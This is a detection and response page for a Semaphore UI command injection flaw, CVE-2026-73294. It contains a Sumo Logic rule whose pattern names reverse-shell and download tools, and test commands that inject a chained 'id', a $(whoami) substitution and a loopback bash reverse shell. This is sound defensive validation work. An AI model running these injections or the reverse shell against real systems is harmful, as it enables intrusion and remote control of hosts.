CVE-2026-73294 Sumo Logic CSE · Sumo

Detect Semaphore UI OS Command Injection (CVE-2026-73294) in Sumo Logic CSE

Detects exploitation of CVE-2026-73294, an OS command injection vulnerability (CWE-78/CWE-88) in Semaphore UI (github.com/semaphoreui/semaphore), the open-source Ansible/Terraform/OpenTofu web UI. Versions prior to 0.0.0-20260704181911-7e8a9434bd81 (fixed in v2.18.17 and v2.19.5-beta2) allow an authenticated attacker to inject shell metacharacters into fields that are passed unsanitized to command-line invocations (task/template arguments, inventory or environment values), resulting in arbitrary command execution on the Semaphore host or its runners. CVSS 9.9 with a public PoC (GHSA-xp7j-h7jc-4w8p). Detection focuses on the semaphore process spawning unexpected shell/child processes and on request payloads containing command-injection metacharacters.

MITRE ATT&CK

Tactic
Initial Access Execution

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=*process* OR _sourceCategory=*sysmon* OR _sourceCategory=*auditd*
| where tolowercase(parent_process_name) matches "*semaphore*"
| where tolowercase(process_name) matches /(sh|bash|dash|zsh|cmd\.exe|powershell\.exe|pwsh)$/
| where command_line matches /[;&`|]|\$\(|\$\{|\/dev\/tcp\/|bash -i|curl |wget |nc |python -c|chmod \+x/
| fields _messagetime, host, parent_process_name, process_name, command_line, user
| sort by _messagetime desc
critical severity medium confidence

Sumo Logic search identifying Semaphore-spawned shells carrying injection metacharacters or attacker tooling.

Data Sources

Host process telemetrySysmon / auditd forwarded logs

Required Tables

processsysmonauditd

False Positives & Tuning

  • Legitimate shell-module playbook runs
  • Provisioner command substitution
  • Scheduled chained maintenance commands

Other platforms for CVE-2026-73294

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Command injection via shell metacharacter in task argument

    Expected signal: Process-creation event: sh spawned with a command line containing a semicolon and the injected 'id' command; child process 'id' executed.

  2. Test 2Command substitution injection

    Expected signal: sh process with command line containing $( ) command substitution and a redirection to a file.

  3. Test 3Reverse shell payload via injection

    Expected signal: bash process with '-i' interactive flag and a /dev/tcp/ redirection indicating a reverse shell attempt.

Last updated: 2026-09-18 Research depth: standard
References (5)

Response Playbook

Triage

  1. Confirm the Semaphore version on the affected host: check the binary version or container image tag; anything below 0.0.0-20260704181911-7e8a9434bd81 (i.e. earlier than v2.18.17 / v2.19.5-beta2) is vulnerable.
  2. Identify the parent-to-child process chain: verify the shell was spawned directly by the semaphore server process rather than by a legitimate Ansible/Terraform runner invocation.
  3. Extract the injected command line and decode any base64/URL-encoded payloads to determine intent (recon, download, reverse shell, persistence).
  4. Correlate the process event with Semaphore API/web access logs to find the authenticated user, source IP, and the task/template/inventory field that carried the injection.

Containment

  1. Isolate the affected Semaphore host from the network to stop any active reverse shell or lateral movement.
  2. Disable or rotate credentials for the Semaphore account used to launch the malicious task, and revoke any SSH/cloud keys stored in Semaphore that the process could have accessed.
  3. Upgrade Semaphore to v2.18.17 or v2.19.5-beta2 (or later) to remove the vulnerable code path.

Evidence Collection

  1. Preserve process-creation logs (auditd/Sysmon), the Semaphore application logs, and the task output/history from the Semaphore database.
  2. Capture the full command line, environment variables, and working directory of the injected process, plus any files it created or downloaded.

Escalation Criteria

  • !Escalate to incident response if the injected command established an outbound connection, downloaded a payload, or accessed stored secrets/SSH keys.
  • !Escalate to platform owners if multiple hosts or runners show the same Semaphore-parented shell activity, indicating widespread exploitation.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >Semaphore task/template records in the application database containing shell metacharacters in argument, inventory, or environment fields
  • >auditd/Sysmon process-creation events showing semaphore as the parent of a shell interpreter
  • >Web/reverse-proxy access logs for POST/PUT requests to Semaphore task and template API endpoints

Tuning Guidance

Establish a baseline of the shell commands your legitimate Ansible/Terraform templates invoke through Semaphore, then allowlist those recurring patterns. Focus alerting on shells containing reverse-shell indicators (/dev/tcp/, bash -i, nc) or download tooling (curl/wget) that do not appear in known-good templates. If Semaphore runs tasks on dedicated runner hosts, restrict the detection to those hosts to reduce noise.

Hunting Queries

Baselines all shell processes spawned by Semaphore to surface anomalous command lines for review.

Hunting — KQL
kql 
DeviceProcessEvents | where InitiatingProcessFileName has "semaphore" | where FileName in~ ("sh","bash","dash","zsh") | summarize count() by DeviceName, ProcessCommandLine | order by count_ desc
Hunting — SPL
spl 
index=* (sourcetype=linux:process OR sourcetype=Sysmon:WinEventLog) parent_process_name=*semaphore* process_name IN (sh,bash,dash,zsh) | stats count values(process) as commands by host

Atomic Red Team Tests

Test 1 Command injection via shell metacharacter in task argument
linux

Simulates injection of a chained command through a field passed to a shell by Semaphore.

Command

bash 
sh -c "ansible-playbook site.yml --extra-vars 'host=localhost; id > /tmp/semaphore_poc.txt'"

Cleanup

bash 
rm -f /tmp/semaphore_poc.txt

Expected Telemetry

Process-creation event: sh spawned with a command line containing a semicolon and the injected 'id' command; child process 'id' executed.

Expected Detection

KQL/EQL rule fires on the semicolon metacharacter in a shell spawned under a semaphore-like parent.

Test 2 Command substitution injection
linux

Simulates injection using $(...) command substitution in a Semaphore inventory/env field.

Command

bash 
sh -c 'echo "inventory: $(whoami > /tmp/semaphore_poc2.txt)"'

Cleanup

bash 
rm -f /tmp/semaphore_poc2.txt

Expected Telemetry

sh process with command line containing $( ) command substitution and a redirection to a file.

Expected Detection

Detection matches the $( command-substitution pattern in the shell command line.

Test 3 Reverse shell payload via injection
linux

Simulates an attacker injecting a bash reverse shell through a vulnerable Semaphore field (harmless loopback in lab).

Command

bash 
bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' &

Cleanup

bash 
pkill -f '/dev/tcp/127.0.0.1/4444' 2>/dev/null; true

Expected Telemetry

bash process with '-i' interactive flag and a /dev/tcp/ redirection indicating a reverse shell attempt.

Expected Detection

Detection fires on the 'bash -i' and '/dev/tcp/' reverse-shell indicators.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix Shell

Same Tactic: Initial Access

Popular Detections